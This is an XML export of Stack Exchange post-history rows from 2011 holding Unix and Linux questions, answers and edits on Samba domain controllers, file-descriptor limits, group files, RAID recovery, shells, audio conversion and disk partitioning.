  <row Id="21204" PostHistoryTypeId="2" PostId="8947" RevisionGUID="7f601eb4-5b3b-4dcd-aec9-9a356426ec4e" CreationDate="2011-03-09T17:22:10.923" UserId="5559" Text="Hello, I wanted to ask a pretty general question on the topic.&#xD;&#xA;&#xD;&#xA;Is it possible and if it is, could you point me in the proper direction, to set up a Windows Domain server (active directory and all that stuff) on a FreeBSD machine.&#xD;&#xA;&#xD;&#xA;I do understand that I need to use Samba (but not sure whether samba 3 will be enough or should I go with the Samba 4 alpha versions). As I dont know much about Windows domains, Im not sure wherther I need to set up a DNS service on the network.&#xD;&#xA;&#xD;&#xA;In the end, I need to set up (as a CS project), a virtual FreeBSD machine that will serve windows domain/active directory services for virtual machines running Windows. With all the nice stuff like single-login, settings, network directories and stuff.&#xD;&#xA;&#xD;&#xA;I know its pretty general question but after doing my research I was left pretty much confused - Samba 4 is a advertising as a rewrite of samba 3, with support for AD, being primary domain controller and many other features. It sounds as if Samba 3 didnt have all that.&#xD;&#xA;&#xD;&#xA;So, is it possible, what should I use, maybe there are some tips for me?&#xD;&#xA;&#xD;&#xA;Thanks, ironhalik&#xD;&#xA;" />
  <row Id="21205" PostHistoryTypeId="1" PostId="8947" RevisionGUID="7f601eb4-5b3b-4dcd-aec9-9a356426ec4e" CreationDate="2011-03-09T17:22:10.923" UserId="5559" Text="Windows Domain Server on FreeBSD" />
  <row Id="21206" PostHistoryTypeId="3" PostId="8947" RevisionGUID="7f601eb4-5b3b-4dcd-aec9-9a356426ec4e" CreationDate="2011-03-09T17:22:10.923" UserId="5559" Text="éfreebsdàéwindowsàésambaàéactivedirectoryà" />
  <row Id="21207" PostHistoryTypeId="2" PostId="8948" RevisionGUID="6aa2775b-f1ff-4dc9-bd70-7ae18c30f7ab" CreationDate="2011-03-09T17:23:07.230" UserId="3635" Text="According to the article [Linux Increase The Maximum Number Of Open Files / File Descriptors (FD)][1], you can increase the open files limit by adding an entry to `/etc/sysctl.conf`.&#xD;&#xA;&#xD;&#xA;Append a config directive as follows:&#xD;&#xA;&#xD;&#xA;    fs.file-max = 100000&#xD;&#xA;&#xD;&#xA;Then save and close the file. Users need to log out and log back in again to changes take effect or they can just type the following command:&#xD;&#xA;&#xD;&#xA;    # sysctl -p&#xD;&#xA;&#xD;&#xA;You can also verify your settings with the command:&#xD;&#xA;&#xD;&#xA;    # cat /proc/sys/fs/file-max&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/faq/linux-increase-the-maximum-number-of-open-files/" />
  <row Id="21208" PostHistoryTypeId="25" PostId="8914" RevisionGUID="efd210d7-acb6-4044-855d-68393175a2d5" CreationDate="2011-03-09T17:23:39.507" Comment="http://twitter.com/#!/StackUnix/status/45535229699571713" />
  <row Id="21209" PostHistoryTypeId="5" PostId="8947" RevisionGUID="12f0fb32-5099-4579-91c4-ccb721bbf09a" CreationDate="2011-03-09T17:28:34.283" UserId="73" Comment="deleted 92 characters in body" Text="Is it possible (and if it is, could you point me in the proper direction) to set up a Windows Domain server (active directory and all that stuff) on a FreeBSD machine?&#xD;&#xA;&#xD;&#xA;I do understand that I need to use Samba (but not sure whether Samba 3 will be enough or should I go with the Samba 4 alpha versions). As I don't know much about Windows domains, I'm not sure whether I need to set up a DNS service on the network.&#xD;&#xA;&#xD;&#xA;In the end, I need to set up (as a CS project) a virtual FreeBSD machine that will serve Windows domain/active directory services for virtual machines running Windows. With all the nice stuff like single-login, settings, network directories and stuff.&#xD;&#xA;&#xD;&#xA;I know it's a pretty general question, but after doing my research I was left pretty much confused - Samba 4 is a advertising as a rewrite of Samba 3, with support for AD, being primary domain controller and many other features. It sounds as if Samba 3 didn't have all that.&#xD;&#xA;&#xD;&#xA;So, is it possible? What should I use? Any other tips for me?&#xD;&#xA;" />
  <row Id="21210" PostHistoryTypeId="5" PostId="8947" RevisionGUID="f54c7c48-5ada-4c3c-8abd-05e81ef892ba" CreationDate="2011-03-09T17:32:22.180" UserId="5559" Comment="deleted 1 characters in body" Text="Is it possible (and if it is, could you point me in the proper direction) to set up a Windows Domain server (active directory and all that stuff) on a FreeBSD machine?&#xD;&#xA;&#xD;&#xA;I do understand that I need to use Samba (but not sure whether Samba 3 will be enough or should I go with the Samba 4 alpha versions). As I don't know much about Windows domains, I'm not sure whether I need to set up a DNS service on the network.&#xD;&#xA;&#xD;&#xA;In the end, I need to set up (as a CS project) a virtual FreeBSD machine that will serve Windows domain/active directory services for virtual machines running Windows. With all the nice stuff like single-login, settings, network directories and stuff.&#xD;&#xA;&#xD;&#xA;I know it's a pretty general question, but after doing my research I was left pretty much confused - Samba 4 is a advertised as a rewrite of Samba 3, with support for AD, being primary domain controller and many other features. It sounds as if Samba 3 didn't have all that.&#xD;&#xA;&#xD;&#xA;So, is it possible? What should I use? Any other tips for me?&#xD;&#xA;" />
  <row Id="21211" PostHistoryTypeId="2" PostId="8949" RevisionGUID="224a5dd8-9161-4cee-82cc-895137a04eca" CreationDate="2011-03-09T17:53:33.230" UserId="2511" Text="Justin's answer tells you how to raise the number of open files available _total_ to the whole system. But I think you're asking how to raise the per-user limit, globally. The answer to that is to add the following lines to `/etc/security/limits.conf`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    *               soft    nofile            2048&#xD;&#xA;    *               hard    nofile            2048&#xD;&#xA;&#xD;&#xA;(Where the * means all users.)&#xD;&#xA;&#xD;&#xA;There's some summary documentation in that file itself and in `man limits.conf`. This is implemented via the `pam_limits.so` module which is called for various services configured in `/etc/pam.d/`.&#xD;&#xA;&#xD;&#xA;And, I have to admit, I have *no idea* where that 1024 default comes from. And believe me, I looked. I even tried without the pam_limits module configured, and it's still there. It must be hard-coded in somewhere, but I'm not exactly sure where." />
  <row Id="21212" PostHistoryTypeId="25" PostId="8945" RevisionGUID="a5320df6-6c12-48ef-a018-ab32874f3d30" CreationDate="2011-03-09T20:23:39.580" Comment="http://twitter.com/#!/StackUnix/status/45580528606384128" />
  <row Id="21213" PostHistoryTypeId="5" PostId="8945" RevisionGUID="2e694ff3-4cc5-4900-80a4-2b070766e738" CreationDate="2011-03-09T20:23:57.680" UserId="688" Comment="deleted 57 characters in body" Text="I can use ulimit but I think that only affects my shell session.  I want the limit increased for all processes.  This is on Red Hat." />
  <row Id="21214" PostHistoryTypeId="2" PostId="8950" RevisionGUID="79aa7274-ea32-4348-9cb6-c09b2bfcd6f4" CreationDate="2011-03-09T20:46:49.047" UserId="1389" Text="I recently set up some groups and users on my machine, and now I want to remove all those users and all those groups. Somewhat stupidly, I read on an Ubuntu forum or something like that that it was possible to just edit the textfile that contains all the group info. But now, whenever I start a terminal, I get&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    groups: cannot find name for group ID 1002&#xD;&#xA;&#xD;&#xA;which is obviously not The Right Thing.&#xD;&#xA;&#xD;&#xA;So, how can I remove all the groups and users I created a few months ago?" />
  <row Id="21215" PostHistoryTypeId="1" PostId="8950" RevisionGUID="79aa7274-ea32-4348-9cb6-c09b2bfcd6f4" CreationDate="2011-03-09T20:46:49.047" UserId="1389" Text="Reset all groups to default" />
  <row Id="21216" PostHistoryTypeId="3" PostId="8950" RevisionGUID="79aa7274-ea32-4348-9cb6-c09b2bfcd6f4" CreationDate="2011-03-09T20:46:49.047" UserId="1389" Text="éusersà" />
  <row Id="21217" PostHistoryTypeId="2" PostId="8951" RevisionGUID="800cfe77-a822-45de-a5c2-960d8583301a" CreationDate="2011-03-09T20:56:56.130" UserId="2511" Text="It's true that you can just edit the text file `/etc/group`. It sounds like you have either deleted too much, or else left the file in a broken state. It needs to be one entry per line, in this format:&#xD;&#xA;&#xD;&#xA;    group_name:x:###:&#xD;&#xA;&#xD;&#xA;for &quot;empty&quot; groups, or&#xD;&#xA;&#xD;&#xA;    group_name:x:###:username&#xD;&#xA;&#xD;&#xA;for groups with one member, or&#xD;&#xA;&#xD;&#xA;    group_name:x:###:username2,username2&#xD;&#xA;&#xD;&#xA;for groups with multiple members. I put &quot;empty&quot; in quotes because you can also be a member of a group if it's set as your primary group in `/etc/passwd` — it's the fourth field there.&#xD;&#xA;&#xD;&#xA;(The &quot;x&quot; can actually be a password hash, but that's very rarely used these days. It's almost certainly going to be all Xs on your system.)&#xD;&#xA;&#xD;&#xA;If you have extraneous blank lines, or badly formatted ones, that could mess things up.&#xD;&#xA;&#xD;&#xA;The file also needs to have world-readable permissions.&#xD;&#xA;&#xD;&#xA;Ideally, you have a backup of the file from a few months ago. But, I understand the real world. :)" />
  <row Id="21218" PostHistoryTypeId="5" PostId="8908" RevisionGUID="2075830b-50a4-4596-ab31-0db8f525d7ff" CreationDate="2011-03-09T21:07:00.840" UserId="885" Comment="formatting; tags" Text="I use privoxy. In the user.action file i have a redirect rule and a few websites:&#xD;&#xA;&#xD;&#xA;    { +redirect{s@http://@https://@} }&#xD;&#xA;    .twitter.com&#xD;&#xA;    .facebook.com&#xD;&#xA;&#xD;&#xA;Ok! it's working great, e.g.: if i visit any &quot;*twitter.com&quot; URL it gets redirected to HTTPS!&#xD;&#xA;&#xD;&#xA;But: with wireshark i can see some [OCSP (Online Certificate Status Protocol)](http://en.wikipedia.org/wiki/Online_Certificate_Status_Protocol) packets.&#xD;&#xA;&#xD;&#xA;Question: What are these packets? Why aren't there in HTTPS?&#xD;&#xA;&#xD;&#xA;Is my redirection method with privoxy is secure?&#xD;&#xA;&#xD;&#xA;Thank you for any tips/opinions!&#xD;&#xA;" />
  <row Id="21219" PostHistoryTypeId="4" PostId="8908" RevisionGUID="2075830b-50a4-4596-ab31-0db8f525d7ff" CreationDate="2011-03-09T21:07:00.840" UserId="885" Comment="formatting; tags" Text="What is the &quot;Online Certificate Status Protocol&quot;?" />
  <row Id="21220" PostHistoryTypeId="6" PostId="8908" RevisionGUID="2075830b-50a4-4596-ab31-0db8f525d7ff" CreationDate="2011-03-09T21:07:00.840" UserId="885" Comment="formatting; tags" Text="élinuxàésecurityàéhttpà" />
  <row Id="21221" PostHistoryTypeId="5" PostId="8898" RevisionGUID="4d476882-4225-42e6-a71f-093bace43086" CreationDate="2011-03-09T21:11:48.913" UserId="885" Comment="fixed hyperlink" Text="You could try installing [MINIX v3][1] on it.  It is far less demanding than Linux and has some good developers working on it.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.minix3.org/" />
  <row Id="21222" PostHistoryTypeId="4" PostId="5585" RevisionGUID="96c9236e-067c-4494-b988-03f2361e5e09" CreationDate="2011-03-09T21:17:54.903" UserId="5" Comment="fixed spelling in title" Text="DNS Troubleshoot.  Campus domain does not resolve when using campus network." />
  <row Id="21223" PostHistoryTypeId="24" PostId="5585" RevisionGUID="96c9236e-067c-4494-b988-03f2361e5e09" CreationDate="2011-03-09T21:17:54.903" Comment="Proposed by 5 approved by 885 edit id of 195" />
  <row Id="21224" PostHistoryTypeId="9" PostId="6689" RevisionGUID="e05a61f4-cd79-4424-9e96-e49d8603e989" CreationDate="2011-03-09T21:23:44.117" UserId="885" Comment="Rollback to [543024d4-05dd-476a-a223-e8308f5cfa8e]" Text="élinuxàéfedoraàépartitionàépolicykità" />
  <row Id="21225" PostHistoryTypeId="2" PostId="8952" RevisionGUID="93f7f166-8433-4396-999c-671a6af99561" CreationDate="2011-03-09T21:32:12.130" UserId="885" Text="Use this tag when asking how to do things that are typically considered administrative tasks requiring root privileges, when you don't have root privileges. For example, installing software, accessing hardware, or sandboxing suspicious programs.&#xD;&#xA;" />
  <row Id="21226" PostHistoryTypeId="2" PostId="8953" RevisionGUID="eef24918-37b3-4146-9453-fa4b2ae2b51a" CreationDate="2011-03-09T21:32:12.130" UserId="885" Text="Doing administration tasks without administrative privileges." />
  <row Id="21227" PostHistoryTypeId="5" PostId="8861" RevisionGUID="d123232d-5622-4a01-8eff-2e44f4e40226" CreationDate="2011-03-09T21:39:22.387" UserId="4477" Comment="add2 -&gt; sdd2" Text="Some time ago I had a RAID5 system at home. One of the 4 disks failed but after removing and putting it back it seemed to be OK so I started a resync. When it finished I realized, to my horror, that 3 out of 4 disks failed. However I don't belive that's possible. There are multiple partitions on the disks each part of a different RAID array.&#xD;&#xA;&#xD;&#xA;* md0 is a RAID1 array comprised of sda1, sdb1, sdc1 and sdd1.&#xD;&#xA;* md1 is a RAID5 array comprised of sda2, sdb2, sdc2 and sdd2.&#xD;&#xA;* md2 is a RAID0 array comprised of sda3, sdb3, sdc3 and sdd3.&#xD;&#xA;&#xD;&#xA;md0 and md2 reports all disks up while md1 reports 3 failed (sdb2, sdc2, sdd2). It's my uderstanding that when hard drives fail all the partitions should be lost not just the middle ones.&#xD;&#xA;&#xD;&#xA;At that point I turned the computer off and unplugged the drives. Since then I was using that computer with a smaller new disk.&#xD;&#xA;&#xD;&#xA;Is there any hope of recovering the data? Can I somehow convince mdadm that my disks are in fact working? The only disk that may really have a problem is sdc but that one too is reported up by the other arrays." />
  <row Id="21228" PostHistoryTypeId="2" PostId="8954" RevisionGUID="e96cb591-4cf9-4e00-883e-07e0c4f4e2f9" CreationDate="2011-03-09T21:42:22.113" UserId="5573" Text="I apologize for the MacOSX reference, but is there an equivalent of Spotlight-Search in Fedora, specifically FC14 x86_64 ?&#xD;&#xA;" />
  <row Id="21229" PostHistoryTypeId="1" PostId="8954" RevisionGUID="e96cb591-4cf9-4e00-883e-07e0c4f4e2f9" CreationDate="2011-03-09T21:42:22.113" UserId="5573" Text="Spotlight/Search on Fedora" />
  <row Id="21230" PostHistoryTypeId="3" PostId="8954" RevisionGUID="e96cb591-4cf9-4e00-883e-07e0c4f4e2f9" CreationDate="2011-03-09T21:42:22.113" UserId="5573" Text="éfedoraàésearchà" />
  <row Id="21231" PostHistoryTypeId="2" PostId="8955" RevisionGUID="756e692e-6be6-417d-84e6-7e4718086294" CreationDate="2011-03-09T21:48:59.320" UserId="5572" Text="Debian dist-upgrade to unstable (or was it testing?) on a remote production server.&#xD;&#xA;&#xD;&#xA;Ignored warning about libc switching to nptl threads. &#xD;&#xA;&#xD;&#xA;Not sure where installation actually failed, but I left with one root console on dial-up line with every single app exploding. Just one running ssh and bash.&#xD;&#xA;&#xD;&#xA;Had a lot of fun of recovering it. Uploaded statically linked dpkg, rolled back libc, built custom kernel with RAID support. I think that took around 3 hours with my dial-up line. When I finally rebooted it, fsck took like 10 minutes. Quite painful 10 minutes I should say.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21232" PostHistoryTypeId="5" PostId="3390" RevisionGUID="77c362aa-c3ab-4c94-8f04-e874ca66fe33" CreationDate="2011-03-09T21:56:19.127" UserId="885" Comment="ksh93 isn't available on that many systems" Text="For interactive use, there are two main contenders, [bash](http://www.gnu.org/software/bash) and [zsh](http://www.zsh.org/), plus the straggler [tcsh](http://www.tcsh.org/) and the newcomer [fish](http://fishshell.org/).&#xD;&#xA;&#xD;&#xA;Bash is the official shell of the GNU project and the default shell on most Linux distributions. On other unices that don't ship with a decent interactive shell as part of the base installation, I think bash is what people tend to choose, in a self-reinforcement “bash is everywhere so I'll use it too” loop. See also [Why is bash everywhere?](http://superuser.com/questions/61727/why-is-bash-everywhere) (with a lot of historical information).&#xD;&#xA;&#xD;&#xA;Zsh has almost every feature of bash and many more (useful!) features. Its main downside is being less well-known, which as a practical matter means you're less likely to find it already installed on a system someone else set up and there is less third-party documentation about it. See also [What zsh features do you use?](http://superuser.com/questions/2127/what-zsh-features-do-you-use), [What features are in zsh and missing from bash, or vice versa?](http://unix.stackexchange.com/questions/983/what-features-are-in-zsh-and-missing-from-bash-or-vice-versa).&#xD;&#xA;&#xD;&#xA;Tcsh was once (in the 1980s) or so the shell with the best interactive features, like its predecessor csh. Zsh caught up with tcsh and fairly quickly improved further, and bash caught up (with programmable completion) in the early 2000s. Therefore there is little reason to learn tcsh now.&#xD;&#xA;&#xD;&#xA;Fish tries to be cleaner than its predecessors. It has some neat features (simpler syntax, syntax coloring on the command line) but lacks others (whatever the author doesn't like). The fish community is a lot smaller than even zsh's, making the effects even more acute. See also [What are the differences between fish and zsh ?](http://superuser.com/questions/127587/what-are-the-differences-between-fish-and-zsh).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For scripting, there are several languages you might want to target, depending on how portable you want your scripts to be.&#xD;&#xA;&#xD;&#xA;* Anything that pretends to be unix-like has a [Bourne](http://en.wikipedia.org/wiki/Bourne_shell)-derived shell as `/bin/sh`. There are still some commercial unices around where `/bin/sh` is not [POSIX](http://en.wikipedia.org/wiki/POSIX) compliant.&#xD;&#xA;&#xD;&#xA;* Almost every now-running unix has an `sh` executable that is at least compliant with at least POSIX.2-1992 and usually at least [POSIX:2001 a.k.a. Single Unix v3](http://www.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html). This shell might live in a different directory such as `/usr/bin/posix` or `/usr/xpg6/bin`. POSIX emulation layers also exist for just about every system that's powerful enough to support it, making it an attractive target.&#xD;&#xA;&#xD;&#xA;* Many unix systems have [ksh93](http://www.kornshell.com/), which brings some very useful features that POSIX sh lacks (arrays, associative arrays, extended globs (`*(foo)`, `@(foo|bar)`, …), null globs (`~(N)foo*`), …). Ksh was initially commercial software (it became free in 2000, after some habits had set), and many free unices (Linux, *BSD) got into the habit of only providing a much older free clone ([http://web.cs.mun.ca/~michael/pdksh/](pdksh)) lacking many of these useful features. Today, you can't count on ksh93 being available everywhere, especially on Linux where bash is the norm.&#xD;&#xA;&#xD;&#xA;* [Bash](http://www.gnu.org/software/bash) is always available on Linux (except some embedded variants) and often on other unices. It has most of ksh93's useful features, though sometimes with a different syntax.&#xD;&#xA;&#xD;&#xA;* [Zsh](http://www.zsh.org/) has most of ksh93 and bash's useful features. Its core syntax is cleaner but incompatible with Bourne. Don't count on zsh being available on a system you didn't install.&#xD;&#xA;&#xD;&#xA;* For more advanced scripting, you can turn to [Perl](http://www.perl.org/) or [Python](http://www.python.org/). These languages have proper data structures, decent text manipulation features, decent process combination and communication mechanisms, and tons of available libraries. Most unix systems have them, either bundled with the OS or installed by the administrator (because there are so many Perl and Python scripts out there that it's a rare system that doesn't have at least one of each).&#xD;&#xA;" />
  <row Id="21233" PostHistoryTypeId="2" PostId="8956" RevisionGUID="4b9418ca-eb20-4be4-a956-673a1806f34c" CreationDate="2011-03-09T21:57:39.033" UserId="1389" Text="Ideally, I want to convert from MP3 to FLAC and back. I also need to be able to script this." />
  <row Id="21234" PostHistoryTypeId="1" PostId="8956" RevisionGUID="4b9418ca-eb20-4be4-a956-673a1806f34c" CreationDate="2011-03-09T21:57:39.033" UserId="1389" Text="Is there a good command line tool for converting to and from FLAC audio format?" />
  <row Id="21235" PostHistoryTypeId="3" PostId="8956" RevisionGUID="4b9418ca-eb20-4be4-a956-673a1806f34c" CreationDate="2011-03-09T21:57:39.033" UserId="1389" Text="éaudioà" />
  <row Id="21236" PostHistoryTypeId="6" PostId="8956" RevisionGUID="759fa0e4-292a-4dae-9366-6c85ee771e93" CreationDate="2011-03-09T22:01:45.333" UserId="885" Comment="edited tags" Text="ésoftwareörecàéaudioàéconversionà" />
  <row Id="21237" PostHistoryTypeId="2" PostId="8957" RevisionGUID="5bbae92a-d9a7-441b-a645-cd6c485f7750" CreationDate="2011-03-09T22:05:47.433" UserId="5325" Text="It's called `flac`, oddly enough.  It's somewhat painful to use, or was back when I scripted a transcoding job with it." />
  <row Id="21238" PostHistoryTypeId="2" PostId="8958" RevisionGUID="0fc7760c-4c5e-4171-965d-79c32b98a665" CreationDate="2011-03-09T22:14:47.817" UserId="2511" Text="A few releases ago, there was a big push for something called [Beagle][1], which is a &quot;personal space&quot; search tool. I'm not quite sure why that push [died out][2], but the package is still part of Fedora and you can install it with `yum install beagle-gnome` if you are a Gnome user or `yum install kerry` for the KDE front-end. There are also optional `beagle-firefox`, `beagle-thunderbird`, and `beagle-evolution` packages which cause those programs' data to be indexed.&#xD;&#xA;&#xD;&#xA;There's a number of full-text indexers / search engines available for Fedora as well, like [Namazu][3], [Xapian][4], [Strigi][5], and [Pinot][6], but as far as I can see, Beagle had  the greatest ambition of being an integrated part of everyone's desktop environment, with a slick UI and everything. Namazu and Xapian are mainly focused on the backend, not the user experience. Strigi also seems to be a dead project. And Pinot looks promising but also appears to be one of those one-guy projects where the developer's continuing interest in the project may be a concern.&#xD;&#xA;&#xD;&#xA;So, there you go. Depending on how satisfying that is, the answer to your question is either &quot;yes&quot; or &quot;no&quot;. :)&#xD;&#xA;&#xD;&#xA;  [1]: http://beagle-project.org/Main_Page&#xD;&#xA;  [2]: http://mail.gnome.org/archives/dashboard-hackers/2010-January/msg00001.html&#xD;&#xA;  [3]: http://www.namazu.org/&#xD;&#xA;  [4]: http://xapian.org/&#xD;&#xA;  [5]: http://www.vandenoever.info/software/strigi/&#xD;&#xA;  [6]: http://pinot.berlios.de/" />
  <row Id="21239" PostHistoryTypeId="5" PostId="8639" RevisionGUID="efb37005-d0f3-4159-b725-bfac5893c8a4" CreationDate="2011-03-09T22:20:25.457" UserId="2511" Comment="move comment into answer" Text="-N&#xD;&#xA;Don't execute, just show what would be done.&#xD;&#xA;&#xD;&#xA; 	&#xD;&#xA;	&#xD;&#xA;Again, you would just do something along the lines of: `shell&gt; fsck -N /dev/sda1`" />
  <row Id="21240" PostHistoryTypeId="2" PostId="8959" RevisionGUID="98fcc101-f345-412b-af11-a0f3f2dba3e2" CreationDate="2011-03-09T22:21:13.083" UserId="138" Text="&lt;a href=&quot;http://sox.sourceforge.net/&quot;&gt;sox&lt;/a&gt; version 13 and up supports FLAC, along with &lt;a href=&quot;http://sox.sourceforge.net/soxformat.html&quot;&gt;many other formats&lt;/a&gt;. sox can do &lt;a href=&quot;http://sox.sourceforge.net/sox.html&quot;&gt;many things&lt;/a&gt; to an audio file, not just convert from one format to another. It is to audio what &lt;a href=&quot;http://www.imagemagick.org/script/index.php&quot;&gt;ImageMagick&lt;/a&gt; is to graphics." />
  <row Id="21241" PostHistoryTypeId="2" PostId="8960" RevisionGUID="3ef39bc5-7c02-4e42-a0b3-bf73932c7a0d" CreationDate="2011-03-09T22:23:09.743" UserId="885" Text="The fundamental tool for sound format conversions and simple transformations is [SoX, the Swiss Army knife of sound processing programs](http://sox.sourceforge.net/).&#xD;&#xA;&#xD;&#xA;    sox foo.mp3 foo.flag&#xD;&#xA;&#xD;&#xA;If you're running Debian, support for writing MP3 in sox is broken in lenny and squeeze (and as far as I know the same problem affects Ubuntu 10.04 and 10.10). [This bug](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=382275) was fixed in early March 2011, so grabbing the latest source (or grabbing a binary for sox 14.3.1-1build1 or newer) and recompiling it should work.&#xD;&#xA;&#xD;&#xA;An alternative for encoding to MP3 is [lame](http://lame.sourceforge.net/). It doesn't read flac, but you can use sox or [flac](http://flac.sourceforge.net/) to produce a wav file, then lame.&#xD;&#xA;&#xD;&#xA;    flac -d -o foo.wav foo.flac &amp;&amp;&#xD;&#xA;    lame foo.wav foo.mp3 &amp;&amp;&#xD;&#xA;    rm foo.wav&#xD;&#xA;" />
  <row Id="21245" PostHistoryTypeId="5" PostId="8835" RevisionGUID="59e1a736-f09f-4750-a593-01ee8dd6ccd2" CreationDate="2011-03-09T22:34:41.527" UserId="4477" Comment="added warning about snapshot performance, RAID-n -&gt; RAIDn" Text="LVM and RAID have some similar functionality (both can do mirroring and stripping) but they serve different purposes.&#xD;&#xA;&#xD;&#xA;RAID is designed to make the storage more reliable, faster and bigger. The differend RAID levels each avchieve one or more of these 3 goals. For example RAID0 gives you speed and more space while RAID1 provides reliablility and fast read. RAID5 gives you some reliability at the cost of some write speed RAID6 does this even more. With 10TB I would consider creating partitions on the disks and adding the partitions to different RAID arrays. For example you can have swap on RAID0, system files on RAID5, boot partition on RAID1 (so grub can use it), /home on RAID1+0.&#xD;&#xA;&#xD;&#xA;LVM is designed to hide what storage you use. It doesn't matter how many disks or where all you see is a logical volume. You can easily add/remove physical volumes without the filesystems on the logical volume knowing about it. Most importantly it gives you snapshots. Snapshots save lives. Make one before every upgrade or make a daily snapshot of /home.&#xD;&#xA;&#xD;&#xA;Having too many snapshots can greatly reduce write performance on the original LV. Snapshots are implemented with copy-on-write which causes an extra read and write operation/snapshot. Even for very small writes a complete block is copied. See the links in [maxschlepzig's answer][1].&#xD;&#xA;&#xD;&#xA;An other advantage is not having to know in advance how large the filesystems will be. You can create small LVs and grow them as needed. Use the extra space for snapshots don't just create a 9.9TB /home immediately.&#xD;&#xA;&#xD;&#xA;So yes it makes sense to use both.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/8814/consumer-level-software-raid5-and-lvm/8820#8820" />
  <row Id="21246" PostHistoryTypeId="5" PostId="8890" RevisionGUID="ab576638-0fed-49a0-93c9-f4d98bd0f7c2" CreationDate="2011-03-09T22:37:15.720" UserId="2559" Comment="deleted 18 characters in body; deleted 34 characters in body" Text="This command takes each path and truncates it to the top `n` folders. It's then piped into `uniq` to filter out the duplicates.&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | sed -n 's@^\(\([^/][^/]*/\)\{0,2\}\).*@\1@p' | uniq`&#xD;&#xA;&#xD;&#xA;The same thing can also be achieved using `grep`:&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | grep -oE &quot;^([^/]+/){0,2}&quot;`&#xD;&#xA;&#xD;&#xA;But there's a bug in older versions of `grep` meaning the above wont work.." />
  <row Id="21249" PostHistoryTypeId="5" PostId="8895" RevisionGUID="099052b4-a4f9-41b0-ac9a-6d4c22daa9c9" CreationDate="2011-03-09T23:33:28.820" UserId="2511" Comment="added 37 characters in body" Text="Hello&#xD;&#xA;&#xD;&#xA;Until recently i thought the load average (as shown for example in top) was a moving average on the n last values of the number of process in state &quot;runnable&quot; or &quot;running&quot;. And n would have been defined by the &quot;length&quot; of the moving average: since the algorithm to compute load average seems to trigger every 5 sec, n would have been 12 for the 1min load average, 12x5 for the 5 min load average and 12x15 for the 15 min load average.&#xD;&#xA;&#xD;&#xA;But then i read this article: http://www.linuxjournal.com/article/9001. The article is quite old but the same algorithm is implemented today in the linux kernel. The load average is not a moving average but .. an algorithm for which i don't know a name. Anyway i made a comparison between the linux kernel algorithm and a moving average for an imaginary periodic load: &#xD;&#xA;&#xD;&#xA;![load graph][1].&#xD;&#xA;&#xD;&#xA; There is a huge difference.&#xD;&#xA;&#xD;&#xA;Finally my questions are:&#xD;&#xA;&#xD;&#xA;- Why this implementation have been choosen compared to a true moving average, that has a real meaning to anyone ?&#xD;&#xA;- Why everybody speaks about &quot;1min load average&quot; since much more than the last minute is taken into account by the algorithm. (mathematically, all the measure since the boot; in practice, taking into accound the round-off error.. still a lot of measures)&#xD;&#xA;&#xD;&#xA;Thank you for your time&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/0sjSR.png" />
  <row Id="21250" PostHistoryTypeId="5" PostId="8881" RevisionGUID="8fbdb3de-9843-4004-9b92-22151a837f0b" CreationDate="2011-03-09T23:34:52.433" UserId="885" Comment="inlined fdisk output" Text="I have just installed Debian Squeeze in a hard disk where also Windows 7 is installed.&#xD;&#xA;Now, if I run cfdisk, I get the following message:&#xD;&#xA;&#xD;&#xA;    &quot;FATAL ERROR: Bad primary partition 2: Partition ends in the final partial cylin&quot;.&#xD;&#xA;&#xD;&#xA;Is there a way to fix it without reinstalling everything?&#xD;&#xA;&#xD;&#xA;**EDIT**: Output from `fdisk -l`:&#xD;&#xA;&#xD;&#xA;    Disk /dev/sda: 250.1 GB, 250059350016 bytes                                                                                                                                         &#xD;&#xA;    255 heads, 63 sectors/track, 30401 cylinders                                                                                                                                        &#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes                                                                                                                                    &#xD;&#xA;    Sector size (logical/physical): 512 bytes / 512 bytes                                                                                                                               &#xD;&#xA;    I/O size (minimum/optimal): 512 bytes / 512 bytes                                                                                                                                   &#xD;&#xA;    Disk identifier: 0x1f244dbd                                                                                                                                                         &#xD;&#xA;                                                                                                                                                                                        &#xD;&#xA;       Device Boot      Start         End      Blocks   Id  System                                                                                                                      &#xD;&#xA;    /dev/sda1               1         154     1228800    7  HPFS/NTFS                                                                                                                   &#xD;&#xA;    Partition 1 does not end on cylinder boundary.                                                                                                                                      &#xD;&#xA;    /dev/sda2             154        9673    76464844    7  HPFS/NTFS                                                                                                                   &#xD;&#xA;    Partition 2 does not end on cylinder boundary.                                                                                                                                      &#xD;&#xA;    /dev/sda3            9673       29127   156262401    5  Extended                                                                                                                    &#xD;&#xA;    Partition 3 does not end on cylinder boundary.                                                                                                                                      &#xD;&#xA;    /dev/sda4           29127       30402    10240000    7  HPFS/NTFS                                                                                                                   &#xD;&#xA;    Partition 4 does not end on cylinder boundary.                                                                                                                                      &#xD;&#xA;    /dev/sda5            9673       16968    58593280   83  Linux&#xD;&#xA;    /dev/sda6           16968       17430     3709952   82  Linux swap / Solaris&#xD;&#xA;    /dev/sda7           17430       28372    87889920   83  Linux&#xD;&#xA;    /dev/sda8           28372       29127     6066176   83  Linux&#xD;&#xA;" />
